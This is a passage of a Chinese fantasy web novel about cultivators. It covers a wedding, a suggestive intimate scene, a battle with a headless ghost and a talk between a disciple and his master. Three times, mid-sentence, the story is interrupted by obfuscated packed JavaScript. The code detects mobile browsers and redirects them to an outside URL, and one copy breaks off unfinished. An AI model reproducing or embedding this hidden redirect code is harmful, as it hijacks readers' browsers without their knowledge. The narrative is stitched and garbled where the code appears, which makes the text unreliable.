“怎么可能甘心?”展愧苦涩道,“但我一介凡人,又能有什么办法?即便从仙人那里得到了化蛇橘,也无济于事,我什么都做不到。” “我助你化为厉鬼如何?” 展愧看她,“什么意思?” “变成厉鬼去索他们的命怎么样?”岚孟笑了起来,她无视了耳边急切的呼喊,看着展愧的眼睛,“用利爪刺破他们的喉咙,掏出他们的心脏,捏碎他们的魂魄,让他们永远消失在这个世界上,怎么样?” 展愧嘴唇翕动,扯出一个几不可查的笑容,他说:“姐姐,你是开玩笑的吧?” “我说真的,我可以帮你,只要你想。” 展愧:“那你怎么……” 一副要哭了的表情。 望向自己的眼神有着同病相怜的意味,岚孟猛然回神,她怔愣地抚上脸颊,触到了一手的湿凉。 “谢谢你。但我现在好累,要是死了,就能见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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深陷苦恋的男女在梦中相见,许下天长地久的誓言;屡试不第的学子肩负着父母亲族的殷切期待,在昏黄的灯光下埋头苦读;蜷缩在脏乱破屋里的乞丐在寒风中入睡,做着吃饱穿暖的美梦…… 行走在空无一人的街巷上,世间万籁都汇入耳中,像是一束光照亮黑暗,岚孟茅塞顿开,她忽然明白了,为什么夭夭要带她从北到南依次走过百姓的家,为什么世间没人能酿出“红尘酒”,也明白了,为什么尧玦告诫她,要她睁眼好好看一看这人间。 红尘就是人间,是天下苍生的集合,是人生百态的映照,所有爱恨情仇、生死离别交汇在一起,构成了这个世界。 柳逸直被身后之人拉住了,他停下脚步,转过身去看她,哀戚与心绝已经被轻松释然替代,她说:“柳逸直,我知道了。” 知道什么了?他没有问,因为答案已经摆在了眼前。 灵气如涟漪向四周荡漾开来,一团团光晕从城中各处飞起,像是发光的鸟,扑腾着翅膀飞进了琉璃瓶中,化作一瓶流光溢彩的液体,就像是将满天的星河盛在了瓶中。 他好像看见了一直在追逐的月亮,悄然降落在心尖。 99. 意合欢 过了几天,言如期终于从昏迷中苏醒,鸣珂终于松了一口气,打算先带他回山到源疗养,而岚孟还得去介城一趟,柳逸直自然跟着她一起。 卧泉城的事情也都差不多了结了,剩下的都是凡人的事情,他们也不能插手太多。 柳逸直拜别柳家人以后,就和岚孟一起离开了卧泉城。正如他所料,岚孟果然拒绝了和他去柳宅,他倒是并未生气,毕竟他们也不是那种关系。 不知道是不是喝了岚孟的血的缘故,柳逸直的胳膊恢复得很快,如今已经能灵活摆动了,偶尔才会稍有隐痛。在去介城的路上,是他揽着岚孟在山野中穿行,介城位于卧泉城南边,气候要暖和得多,到处都是郁郁葱葱,山鸟林兽竞相追逐,一派祥和光景。 站在城门口,仰头望着城门上的牌匾,柳逸直不免感叹,上次来这里的时候,他们还是针锋相对、谁也不相信谁的关系,哪成想这才过去了四个月,就已经变得亲密无间了。 这两日岚孟的心情显然好很多,再没有给他甩脸色,还允许他牵她的手,虽然不知道是什么让她的心理发生了转变,但这是好事,说明她在一步一步接纳他,柳逸直心中自然欢喜。 来到寸微云和秋迁的家时,夕阳的余晖撒在青石板路上,水面映照着天空中大片的烟紫色云彩,水波荡漾,牵着手的一对男女并肩从石拱桥上走过,撞碎了一朵朵云彩。 走到大门前,岚孟才看向一直握着自己的手不放的男人,柳逸直装傻充愣:“怎么了?” 她低头看了看交握的手,又抬头看了看他,眼中不悦显而易见。 柳逸直差点笑出来,扭头咳嗽了一声,重重握了一下她的手,然后才放开。 “行,我去你家里等你总可以了吧?” 当初岚孟租宅子的时候交了一年的租金,离到期还有大半年,柳逸直也知道地方,心情愉悦地背着手离开了。 那人手掌温热的触感还残留在掌心,岚孟不太自在捏了捏手心,缓了缓才叩门。 “来了,谁啊?”有气无力的声音透过门缝传进了岚孟的耳朵里,她道:“是我。” 凌乱的脚步声响起,没一会儿,门“吱嘎”一声开了,秋迁一见到岚孟,顿时喜不自胜,连忙侧身让她进来。 “闫姑娘,你怎么忽然回来了?要办的事情办完了吗?” “差不多了,你的修行如何?” 其实这话岚孟根本不用问,她已经看出来秋迁晋升元初境了,看来这几个月秋迁一直在勤恳修炼。 “您给我的书我都看完了,一日都不曾落下功课……” 秋迁兴奋地说着近况,她的脸色略带憔悴,眉间蕴含着化不开的愁苦,只因故友归来而稍微散了些许阴霾。 岚孟的目光落在她的腰间,那里挂着半枚玉玦,红色的丝绳缠绕其上,尾端挂着同色的流苏,随着秋迁的步伐在半空中晃动。 秋迁察觉到了她的目光,将玉玦拿起来邀功似的给岚孟看,“我哥说这个是他的恩人留下的,保平安的,虽然摔碎了,但心意永远都在,我们二人一人一半,就算相隔天涯海角,也能找到彼此。” 她露出一个要哭不哭的表情,眼中噙着泪水,眼巴巴地望着岚孟,“你说是不是?” 岚孟叹了口气,“他都告诉你了?” 秋迁垂下头,闷闷地“嗯”了一声。 岚孟顿觉头疼,她明明记得她叮嘱过寸微云此事有风险,最好不要让秋迁知道,省得她惦念,若是失败了,竹篮打水一场空,岂不是徒增烦恼? 这家伙……算了,她握着秋迁的肩膀,郑重道:“既然你已经知道了,那我也不瞒你,我此行前来就是为了取寸微云的魂魄的,世界上没有万无一失的事情,我可以保证将他的魂魄完完整整地送回来,但是他能不能成为鬼修和你再续前缘,只能看他的造化,你明白吗?” 秋迁点了点头,“我明白的,闫姑娘已经帮了我们许多,就算是……我也无怨无悔,是我们自己做出的选择,后果自然也由我们承担。” 她顿了顿,唇边绽开一个灿烂的笑容,望向岚孟的眼神一片澄澈,她说:“有件事情,还想请闫姑娘帮忙。” 两人已经走到了屋前,岚孟问道:“什么事?” 走进房门一看,寸微云站在窗边,夕阳的余晖洒在他身上,好似披了一层轻纱,如梦似幻,好像下一秒便会化蝶飞去。 他转回头来,半边脸藏在阴影里,那种下一秒就会消失不见的感觉才少了几分,“闫姑娘。”他笑着问候。 看见寸微云旁边的架子上挂着什么以后,岚孟便说不出话来了。 离开还没多久的柳逸直又被叫了回来,“干什么要最好的酒啊……”他嘟囔着走进了寸家,被岚孟拽着进了屋,看着夕阳下那对含笑而立的一双玉人,目光左移,拒绝的话便堵在了喉头——他看见了两套大红喜服。 秋迁坐在梳妆台前,自己给自己上妆,岚孟举着萤石站在一旁给她照明,看着那双纤细灵活的手拈起发丝,绕出不同形状盘在头顶,插上簪子与珠花,往面颊上涂抹香粉,在眉心点上花钿,粉唇抿了抿红纸,唇色便如春日的花一样娇艳…… 岚孟在芥子袋和妖境里找了半天,最终只找到一支今望月送给她的金镯子,是个法器,像芥子袋一样可以存放物品,容量可能有一座三进院子那么大。 她将镯子套进了秋迁的手里,赧然一笑:“我听说人族婚嫁时,闺中姐妹会添妆,我也没什么好东西可以送你。” 上妆以后,秋迁略显憔悴的面容也变得红润,充满了喜色,她看着镜子里亦师亦友的女子,笑道:“有您的祝福就足够了。” 而另一边,寸微云只需梳好发髻换上喜服就可以了,成婚需要的东西他们都已经购置好了,柳逸直帮着他将红枣、桂圆这些干果摞成锥状摆放在堂屋里,点上大红喜烛,在窗户上贴好喜字,虽然简单,却也有了婚礼的样子。 天色已经暗了下来,两个男人坐在廊下,等着新娘子梳妆打扮。 虽然柳逸直知道寸微云和秋迁二人的事,但正经的见面还是第一次,一时间谁也没有说话。 寸微云忽然掩唇咳了几声,柳逸直见他那弱不禁风的样子,真怕他下一秒就倒地一睡不起,从芥子袋里翻了个玄灵果给他。玄灵果是最常见的补充灵气的果子,常用来作为炼制回灵丹的原材料,没有灵力的凡人吃了也可以强身健体。 寸微云颔首谢过,小口啃咬起来,空气安静得只剩下他轻微的咀嚼声。 “真好啊……”柳逸直呢喃道,太阳正从山的那一头落下,世界即将归于黑暗,但这里灯火通明,大红灯笼将房前屋后都照得透亮,没有一丝阴暗,夜风也变得轻柔和缓。 寸微云疑惑地“嗯”了一声。 柳逸直道:“我说你和秋姑娘,你们很小就认识了吧?相互扶持着长大,如今喜结连理,倒是圆满。” 寸微云腼腆地笑了一下,“柳兄不也找到可以共度一生的人了吗?” 柳逸直的目光落在了厢房的窗户上,烛火将两个 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婚事准备得仓促,寸微云和秋迁没有什么可以宴请的朋友,他们也已经做好了独自成婚的准备,只能说岚孟二人来得正是时候。 他们均父母双亡,所以没有设置高堂,只在柳逸直的唱和声中,朝天地拜了三次,再夫妻对拜,饮了交杯酒,就算是礼成了。 宴席倒是丰盛,寸微云去介城最好的酒楼里订了八荤八素共十六道菜,酒换成了柳逸直带来的泊溪酒,柳家酒庄最好的酒。 身份迥异不同、对彼此也不熟悉的两伙人围坐一桌,不热闹,但是很温馨,谁也没有提那些不开心的话题,也不去管明日酒醒,等待着自己的未来是明亮还是黑暗。 红烛燃了一半,夜已深了,岚孟和柳逸直朝这对新婚夫妻告别,踏着月色走向河对岸的宅子。 岚孟只喝了一杯酒,意识很清醒,但红晕还是不可遏制地攀上了她的脖颈和脸颊,她将他拉进黑黢黢的屋子里,那双眼睛又黑又亮,望向柳逸直的目光不似往日那般清澈而坦荡,夹杂了一些意味不明的东西。 她问:“你喜欢我吗?” 柳逸直坚定道:“喜欢。” “你愿意为我献出生命吗?” “当然,如果你需要的话。” “可我不想要你的命。” “那你要什么?” 女人纤细的胳膊攀上了自己的肩膀,两具年轻的身体相互贴近,热意如浪潮般席卷了他们。 柳逸直感觉自己醉了,明明他一向千杯不醉。 她贴了上来,如兰气息泼洒在脸颊上,樱唇和自己只相隔咫尺,鼓噪的心跳一声大过一声,两颗心脏同频跳动,已不分你我。 她把声音压得很低,近乎气音,但柳逸直还是听得清清楚楚,她说的是:“那就把你自己献给我吧。” 于是柳逸直如献祭般献上了自己的唇,攫取了渴望已久的芬芳。心底的堤坝轰然决堤,压抑良久的情愫如洪水般喷涌而出,瞬间便冲垮了他的理智。 不知是谁咬破了谁的嘴唇,血腥味在唇舌间蔓延开来。也不知是谁先动作的,分分合合间两人已闯入了帘帐中,双双倒在了床榻之上。 厮磨间衣裳被一件件扔出帐外,先是微冷,骤而变热,蔷薇藤从手腕处冒了出来,开出一朵朵白色小花,原本洁白无暇的花瓣也晕上了一层薄粉,随着沉沉浮浮的动作簌簌飘落,又被不知从何处而起的微风卷出帘外,被斜射进窗的月光倾轧揉碎了。 100. 断头鬼 感受到岚孟的神识目的性极强地探进了自己的灵府之中,柳逸直唇边泄出一声轻笑,他在她唇上咬了一口,沙哑的嗓音里蕴含着浓浓情欲,“怎么这么心急。” 一抹薄红攀上了她莹白的脸颊,鬓发被汗水打湿,迷离而漆黑的眼逐渐变成了蓝色,岚孟伸出手推着他汗湿精瘦的胸膛,别开脸,哑声道:“废话真多。” 柳逸直勾唇笑了一下,他俯身贴近,姑娘浮着一层薄粉的娇躯如弦绷紧,她轻喘起来,手扣紧了他的肩膀,却又无力地滑落下来,搭在了生长着蔷薇花藤的上臂处,同缠绕在她细细的腕子上的藤蔓交相辉映。 两团莹白光芒在一望无际的碧蓝湖面上飞翔,忽而靠近忽而远离,相互追逐,又相互容纳,好似两只嬉戏打闹的白鸟,相拥着沉入湖水之中。 画面一转,已不在碧水蓝天之下,而处于空谷青山之中,山中郁郁苍苍长满了奇形怪状的树,潺潺溪水头尾相接环绕着高耸入云的青山,已相融为一体的光芒在草地上打滚,不知名的野花以肉眼可见的速度迅速生长着,开出艳丽芬芳的小花来,香甜气息散入徐徐清风之中。 风雨稍歇。 两人气喘吁吁地倒在床榻之中,各自运转着体内灵力,吸收着从对方身上汲取的修为。 灵修当真是个好东西,就这么一次就让两人的修为各自升了一阶,柳逸直晋升到了闻道中期,岚孟则直逼闻道大圆满。 柳逸直伸手将岚孟揽进怀里,她伸手撑在他胸膛上无声抗议,秀眉拧起,脸上写满了不悦,缓缓吐出一个字:“热。” 柳逸直听话地将手撒开,身子往后挪到了床边。热源倏尔远离,春夜的寒凉便迫不及待地爬上了她的身躯,岚孟瑟缩了一下,伸手去扯被子——却没扯动,另一端被人压在了身下,罪魁祸首没有一点自觉,支起手撑着脑袋好整以暇地望着她。 岚孟也不说话,只抬腿蹬了他一脚,拿着一双湿漉漉的眼睛瞪着他。 柳逸直看着她气呼呼的样子,只觉得当真是可爱得紧,也怕她没穿衣服被风冻着,只僵持了一小会便卷着被子披到她身上,顺势将人搂进了怀里。 岚孟挣扎了一下,却被人抱得更紧,热意源源不断背后传开,温热的呼吸喷薄在后脖颈,她往前缩了缩,心想这人真是越来越放肆了。 放肆之人自然会将放肆进行到底,搭在腹上湿热的手逐渐变得不老实,逐渐往上攀爬,岚孟忍无可忍,在那只咸猪手上用力掐了一把,身后抽气之声连连。 岚孟拿手肘捅了他一下,冷声道:“不睡就下去。” 柳逸直不敢再做弄,忙温声软语道:“不闹了不闹了,你快睡吧,该是累坏了。” 毕竟刚刚才“享用”过人家,岚孟也不好将他踢下床去,遂闭上眼睛假寐,迷迷糊糊间生出了几分睡意。枕在结实有力的臂弯里,身后抵着宽阔的胸膛,她竟也久违地感受到了几分心安,任凭思绪如潮水般退去。 怀中女子的呼吸逐渐趋于平稳,似是已经睡着了,但柳逸直的眼中却是一片清明,甚至有些亢奋,恨不得去到山里,猴子似的乱跑乱跳几圈,来消磨自己得不到发泄的旺盛精力,温香软玉在怀,他到底是没有动弹。 就这样睁着眼睛到了天明,直到天边泛起鱼肚白,晨起的鸟儿叽叽喳喳叫个不停,他才小心翼翼地从床上爬了起来,捡起地上的衣物穿好,蹑手蹑脚推门走了出去。 岚孟醒时已经日上三竿,她拥着被子坐了起来,揉了揉眼睛,看见床边的矮几上整齐叠放着一套衣物,她的芥子袋放在上面,并且昨日被扔出帐外的那些衣物已经不知所踪。 她伸长胳膊将东西一齐捞了过来,里衣、亵裤、外裳一应俱全,是素净的天青色,也没有很复杂的花纹,布料柔软舒适,还有一股岚孟说不上来的清新气味。 她迟疑了一下,到底没有从芥子袋里拿新的衣物。 是以柳逸直提着食盒推开院门的时候,正好看见一个穿着天青色衣裳的女郎推开房门走了出来,乌黑的秀发稍显毛躁,乱蓬蓬地搭在肩头。 他弯唇笑了笑。 只觉得时间要是能永远停留在这一刻就好了。 岚孟接清水抹了把脸,走进堂屋里时,柳逸直已经将买来的清粥小菜都摆好了,粥是由上等灵米熬制的,有甜的、咸的、辣的好几种口味,满满摆了一桌子。 柳逸直将她按坐在了椅子上,拿出梳子帮她梳头,梳顺了拢到一起,从怀中取出一根发带绑好,才发话道:“吃吧。” 岚孟反手摸了摸发髻,不出意外,那根发带依然是法器,层层叠叠的阵法繁杂而精密,比上次那条更多,显然是被人重新改良过。 她抬眸看了对面的男子一眼,心想,也不知道他什么时候弄的。 两人默默喝着粥,谁也没有说话,一同享受着难得的静谧。 “你不打算告诉我吗?”柳逸直忽然问。 “什么?” “关于尧玦的事情。” 岚孟停顿一下,继续喝着灵米粥,淡淡道:“有这个必要吗?” “怎么没有?我们不是说好了要一起的吗?你什么都不说,我怎么助你?”柳逸直笑道。 岚孟抬眼瞥他:“什么时候?我不记得有过这件事。” 柳逸直好笑道:“就昨天晚上啊,你那会都要哭了……” 桌下踢来的一脚打断了他未出口的羞死人的话,抬眼撞上对方隐含怒气的目光,柳逸直笑意更甚:“穿上裤子就不认人了?岚孟,你不能这样。” 岚孟将勺子放进碗里,轻叹一口气,看着他的眼睛道:“我不需要你这样,若是事情败露,后果不是你能承担的。” 柳逸直张了张口,几乎要将事情和盘托出,可话到嘴边他又咽了下去,既然尧玦早有安排,他也不能以一己之私打乱计划。 岚孟瞅着他欲言又止的神色,刚想一口气回绝,却听他道:“既然你也知道此事危险,我就更不能袖手旁观了,怎么说尧玦也是我的救命恩人,你有什么理由阻拦我报恩?” 岚孟挑眉:“既然要报恩,那就更得等尧玦复活以后了,届时你即便是为他当牛做马,我也绝不阻拦。” 柳逸直只感觉搬起石头砸了自己的脚,一时间有些无言。 岚孟见他吃瘪,心中不免生出几分笑意,她说:“这件事情你还是不要掺和为好,免得丢了你的前程。” 柳逸直现在方知她还是将自己视为局外人,即便昨夜他们发生了那样亲密的关系,她还是拒自己于千里之外,她的自负与执拗化为了两人之间的巨大沟壑,任凭他怎么努力地跨越与攀爬,都不能动摇其分毫,甚至只要她心念一动,他所有的努力都会付之一炬。 柳逸直自嘲一笑。她本就是铁石心肠之人,是他想多了,还以为他终于走进了她心里,当真是愚不可及。 “在你眼里,我是那种追名逐利之人吗?” 气氛陡然降到了冰点,一时间谁也没有说话,沉默着吃完了各自碗中的食物。岚孟站起身来,提步走出门去,从柳逸直身边路过时冷不丁被他一把攥住了手腕。 “你到底把我当什么?”他哑声问。 点头之交?可有可无的朋友?还是用完就丢的炉鼎? “一夜春水姻缘人罢了。” “仅此而已?” “仅此而已。” 无须多大的力气,她挣开了他的手,毫不留恋地扬长而去。 柳逸直的手僵在了空中,半晌才放了下来。 岚孟坐在床榻上,心绪烦躁,难以入定。世间万千声响全数汇入他的耳中,碗筷碰撞的声音,脚踩在院子里新旧参半的野草的声音,风吹树叶的哗哗声……还有带着情绪的关门声,“砰!”她搭在膝头的手指颤了颤。 良久,她闭上眼睛。这样也好,及时止损,谁也不欠谁。 时间悄然逝去,转眼间便到了晚上。岚孟是被阴森森的鬼气惊醒的,她走出门去,望见浓重鬼气遮蔽了天幕上璀璨的星河,树叶被阴风吹得哗哗作响,呜呜咽咽的鬼泣之声足以将人们从梦中惊醒,却找不到异常的源头,只知道小儿啼哭不止,原本温顺可人的猫狗也奓了毛,盯着空无一物的某个角落发出警告的嘶吼。 身怀七窍玲珑心的人身之将死,引来了无数鬼怪的觊觎,即便是早有听闻,其人身边有个日渐强大的修士保护,可在一步登天的捷径面前,谁不想铤而走险试他一试?或许那个幸运儿就是自己了呢? 人心不足蛇吞象,鬼亦是如此。 “铮——” 一声琵琶弦音曲高和寡,那一瞬间风声与鬼泣都戛然而止,厉鬼被其震慑而动弹不得,修为低微的鬼甚至被这一音震飞出去,摔在地上疼得龇牙咧嘴。 剩下的鬼怪们自知遇到了劲敌,单打独斗并非上策,不知是谁发出一声尖啸,恶鬼们纷纷群起而攻之,将那座小院团团围住,这个倒下了那个便顶上,一寸一寸往前逼近。 琵琶音急促而剧烈,犹如铁骑突出,铮铮然撕开凝滞的空气,轮指急催,滚奏似狂风骤雨拍打着江面,鬼怪们被音浪震飞出去,这一次他们再没有东山再起的机会,尚未落地便已四分五裂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351054|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,化作飞灰湮灭了。 最后只剩下一个头身分离的鬼,那是一个男子,脖颈处的断口平整光滑,而头颅却被手抱在怀中,他的鬓发乱如蒲草,七窍皆流出暗红色的血液,声音凄厉而高昂,和铮然琵琶音不分伯仲。 他惨厉地笑了起来,唇齿上血丝凝结,还在一滴滴往下滴血,“莫要再负隅顽抗了,本座百余年修为,可不是你这样的黄毛丫头能对付得了的!” 这样的情形已经上演了很多次,秋迁丝毫不乱,专注地拨弄着琵琶,十指在弦上翻飞如电,弹奏出一曲曲杀伐之音,对抗着那些觊觎她珍爱之人的恶魂厉鬼。 然而这一次的恶鬼极其难缠,修为和她不相上下,发出的鬼泣之声竟能压制住她的琴音,秋迁的十指已经渗出血迹,那鬼却完全不受影响似的,咧着乌漆嘛黑的大嘴越过墙头,一步步走进了院子里。 “千千……”躲在屋子里的寸微云见情形不妙,想要推门出来,秋迁忙喝止住他,“别出来!” 还没到山穷水尽那一步。 只见她忽一记扫拂,乐声陡然变得和缓,指尖轻拢慢捻,音色似水波漾开,悠扬如春蚕吐丝,绵绵不绝。 断头鬼心疑有诈,立即停下了脚步,一双突出的血眼谨慎地打量着四周,然而什么也没有发生,夜风变得和缓,远处的小儿啼哭和鸡鸣犬吠之声也逐渐平息,世界好像陷入了沉睡,眼皮打颤不止,困意排山倒海般席卷了他的心绪,一时间他忘却了所有,忘记了自己是谁,忘记了自己来这里干什么,只想沉入黑甜的梦乡…… 脑中有一根弦忽然崩断了,断头鬼猛然回神,厉声道:“催眠曲?!”伴随着话音落下,他手上一松,头颅便整个飞了出去,舌头顿时伸得有几丈长,扭甩着朝屋檐下的秋迁袭去。 秋迁冷不丁被吓了一跳,手上失了分寸,琴音顿时一乱,阻隔在屋前的音障碎若乱星,头颅大笑着飞撞进来,“秋迁!”寸微云惊呼一声,猛地推开房门跳了出来将秋迁护在身下。 说时迟那时快,一柄短刀从天而降,径直朝恶鬼的长舌斩下,那鬼嗷叫一声,迅速将断了半截的舌头缩回口中,乱蓬蓬的头发忽地拧成了一股绳,缠绕到了侧边的廊柱上,这才免于被刀劈成两半。 短刀扎入泥土之中,旋即扭了扭刀身将自己拔了出来,悬于空中,刀尖正对着颤在廊柱上的鬼头,威慑之意显而易见。 秋迁从寸微云的怀抱中抬起头来,一眼便认出了那柄短刀,惊喜道:“扶音姐姐!” 昨日之前她都是毕恭毕敬地叫一声“闫姑娘”,现在已经得了本人首肯,所以她才改了口。 岚孟人未至,声音却清晰地传进了断头鬼的耳中:“速速离去!” 断头鬼眼睛滴溜溜地转,萦绕在短刀上的灵气浓厚精纯,他自知不是对手,于是粗声哑气道:“不知是何方神圣?何不现身一见!若是同为玲珑心而来,你我可各取一半,又何必伤了和气!” “你若是长了眼睛,看得出我刀上的灵气,就该知道我和你不是一路人。” 断头鬼暗道不好,立即松开绕着廊柱的头发,脑袋“嗖”地一声飞向身体,径直落到了脖颈之上,慌乱间头颅和身体正反颠倒了,他连忙抬手将脑袋掰正,然后抬步朝墙外跑去。 刀光已至,断头鬼灵活地闪避开来,适才面对秋迁的攻击风雨不动安如山的厉鬼此时活像个猴子,上蹿下跳着来躲避商刀的攻击,商刀也从这你追我赶的游戏里找到了几分乐趣,一个劲地逗弄着断头鬼,这里划一刀那里划一刀,迟迟不肯给他个痛快。 “商。” 冷冰冰的话语响起,商刀虎躯一震,再没了游戏的心思,三下五除二将断头鬼大卸八块,凄惨的鬼啸响彻四野,躲避在暗处蠢蠢欲动的鬼怪们被这凄厉的叫声震慑,纷纷四处逃窜,再没有了抢夺玲珑心的胆子。 商刀飞掠进院,稳稳插进了刀鞘之中,发出“锵”地一声脆响,似在示威。同它一起被搁在窗台上的参剑明目张胆地顶着剑鞘往外挪了两步,像是在说“珍爱生命,远离蠢货”,商刀不服气地追了上去,一刀一剑将窗棂刮蹭得噼里啪啦地响。 岚孟盘腿坐在床榻上,闭着眼睛打坐调息。灵气顺着大小周天流转数圈,灵修得来的修为一步步稳固。圣主已经盯上她了,山到源的老家伙们必然察觉到了她的身份,传召她回宗门的密令说不定已经在来的路上了,她不能被绊住脚步。 她睁开眼睛,冰蓝的眼瞳在漆黑的房里闪着幽光,目光轻轻落在了窗边架子上的天青色衣裙上,夜风悠悠,将薄纱卷起一个轻柔的弧度。 101. 风菱衣 就如同枝头含苞待放的杏花被风吹雨打,不堪重负从高高的树梢坠落一般,上一秒还是生龙活虎的,下一秒便香消玉殒,寸微云就是这样。 当那团泛着莹光的魂魄从他的体内飞出,飘飘悠悠飞进了精巧繁复、刻满了阵法线条的竹灯时,秋迁心里好像空了一块,继而泛起了一阵密密麻麻的疼,疼得她手脚痉挛,像是有千万只蚂蚁在啃噬。 她将寸微云葬在了后山一个人迹罕至的地方,在岚孟的帮助下设了隐蔽气息的法阵,不砌墓碑,不落坟茔,就这样葬于山中,回归山川的怀抱。 “今后有什么打算?”岚孟问。 秋迁蹲在地上捡着泥土里的腐树枝,听闻此言停下了动作,透过树林的空隙望着远处被笼罩在阴云之下的介城,她说:“继续修炼吧,我相信以后总会有相见之日的。” 岚孟道:“不会让你等太久的。” 秋迁仰头看她,勉力勾起一个灿烂的笑容,重重点了点头。 “对了,你说要为我引荐的师傅在哪里?我可以去找他了吗?” 岚孟微微勾唇,“不用,等到时机成熟,他自然会来找你,你且等着就是了。” 秋迁撇撇嘴,继续捡着枯枝落叶,将其洒至远处,没让寸微云的骸骨受到任何不好的事物的影响。 她讨厌等待,可往往幸福的必备条件便是遥遥无期的等待。 捡完枯枝以后,秋迁便扛着锄头下了山。 岚孟驻足在山中,目送她瘦削的身影逐渐消失在视野里,花瓣被风卷着簌簌飘落在地面上,终究是尘归尘,土归土。 她低头看着手中忽明忽暗的山水令,摇身一变化为原形,朝山的那头飞了过去。 岚孟还在赶路的时候,柳逸直已经回到了山到源。他一脚跨进了泉生门,薄雾似的泉水涤荡全身,下一秒他已经跃至数里之外,踏着清风来到了风菱衣的住所。 “师傅!” 他猛地推开了房门,“砰”地一声巨响,房梁上的灰都被震了下来。 彼时风菱衣正躺在榻上,控制着点心一个一个从盘子里飞进他的嘴里,冷不丁被这巨大的声响一吓,半空中的点心“啪叽”一声掉在了地上,摔得四分五裂,风菱衣顿觉心疼得要滴血,朝门口怒吼道:“你丫的作死呢!” 数道看不见的风刃朝柳逸直袭来,他熟练地在房中灵活闪躲,没被伤到一片衣角,却在最后一刻被迎面泼来的一杯茶水淋成了落汤鸡。 柳逸直“呸”地一声吐出溢进口中的茶水,抬手用袖子揩了揩脸上的水珠,走到榻边,恭敬地朝风菱衣行了一礼。 风菱衣虽然已经几百岁了,但还维持着十六七岁的少年模样,吊儿郎当地把腿搁在桌子上,他放弃点心拿了串葡萄吃,摆了摆手,漫不经心道:“免了免了。” 柳逸直站直了身体,却听他问:“那丫头呢?” “谁?”柳逸直不解道。 “还能有谁?你那相好呗,尧玦的徒弟,那只小蓝鸟。” 柳逸直面上一僵,继而移开目光,心想真是哪壶不开提哪壶,他不答反问:“您真的认识她啊?” “那是。”风菱衣轻轻“哼”了一声,傲娇道:“当年老子和尧玦可是称兄道弟,一起闯荡江湖的关系,他的徒弟老子能不知道?” 柳逸直讪讪一笑,心里想的却是,要不是联系不上风菱衣,他也不至于被岚孟耍了那么久,直到最近才知道她的身份。 “对了师傅,您去九幽了?里面到底有什么?您发现什么秘密了?” 风菱衣往嘴里喂着葡萄的手一顿,皱眉道:“小孩子别瞎打听。” 柳逸直一听这话就知道此事不简单。风菱衣一向没个正形,经常和梁齐安一起编排其他山主,被他听到了也丝毫不怵,有时候还大剌剌地拉着他一起听墙角,若非兹事体大,他可不会瞒着自己这个徒弟。 柳逸直死缠烂打地追问了好几遍,把风菱衣闹得烦不胜烦,这才愿意给他透露一点消息。 “九幽不都是些魔物么,要么是入了魔逃去那里避难的修士,要么是被放逐的,反正乌烟瘴气的,要不是你师傅我跑得快,早就交待在那了。他们都加入了朝圣道,谋划着要一起闯出九幽攻打我们,就等着劳什子圣主出山了。” 难怪圣主要抢夺楚国的龙气,柳逸直想。 “你和圣主交过手了?” 柳逸直点头承认,风菱衣上下打量他一圈,又抬手捏了捏他恢复良好的左胳膊,冷哼一声:“算你小子命大,你们遇到的圣主只不过是他的分身,实力不足本体的百分之一,不然你现在焉有命在?老子九死一生从魔窟里逃出来,还得给你这不肖徒孙收尸,想想就觉得命苦。” 仅仅一个分身就如此难缠,他们几人联手也不能试撄其锋,若不是玉成汝及时前来相救,他现在恐怕已经是一具死尸了,柳逸直忽然感到一阵后怕。 他问:“圣主到底是什么来头?” 风菱衣吐出葡萄皮,理所当然道:“你管他什么来头!反正是个恶贯满盈的老东西,所以才要趁那些狗东西没反应过来,先杀他个措手不及。” “师傅也不知道?”柳逸直的眼神未免带了些鄙夷,“亏你闯到人家老巢去了,结果连人家的底细都没打探清楚。” 风菱衣气得从榻上跳了起来,狠狠抽了柳逸直的脑壳一下,吹胡子瞪眼道:“没大没小!才几个月不见,竟敢讽刺起你师傅来了,信不信老子把你逐出师门!” 柳逸直揉着脑袋,低声嘟囔着:“什么几个月,都快两年了,再说了,你根本不管我,还不是把我丢给别人,自己去逍遥快活……” 风菱衣更生气了,抄起桌上的镇纸就要打他,柳逸直一溜烟跑了出去,在外面躲了一会儿才将头探进来,见风菱衣又软骨头似地躺回了榻上,这才像个没事人一样跑进来,蹲在榻边给他捶腿,状若无意地问道:“师傅,九幽乃是群魔乱舞之地,不是说修为越高越容易被魔气侵蚀吗?您是怎么全须全尾地回来的?” “怎么,你觉得我是那种道心不稳之人?”风菱衣轻飘飘瞥了他一眼。 柳逸直谄媚道:“弟子当然相信师傅道心稳固,任何事情都不能动摇您的心,但这不是就要和魔修对上了?弟子害怕一不小心就着了那些妖人的道,想问问您有没有什么法子能抵御魔气。” 风菱衣狐疑地望了他一眼,问道:“就算是天塌下来也有高个子顶着,你操哪门子的心?” “怎么能不操心?我可是刚坏了圣主的好事,要是他来寻仇怎么办?我不得多准备点保命的法子?要是就这样一命呜呼了,谁来孝敬您老人家?” 风菱衣轻嗤:“得了吧,这二十年来你孝敬过我什么?我可是一个子也没见着。” 柳逸直反驳道:“还不是因为您一直到处跑,根本找不见人!我就是有力气也没地使啊!” 风菱衣被噎了一下,不肯承认自己是个丢下徒弟到处浪的不靠谱师傅,梗着脖子道:“那为师现在就在这,你倒是孝敬啊!” 柳逸直早有准备,将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 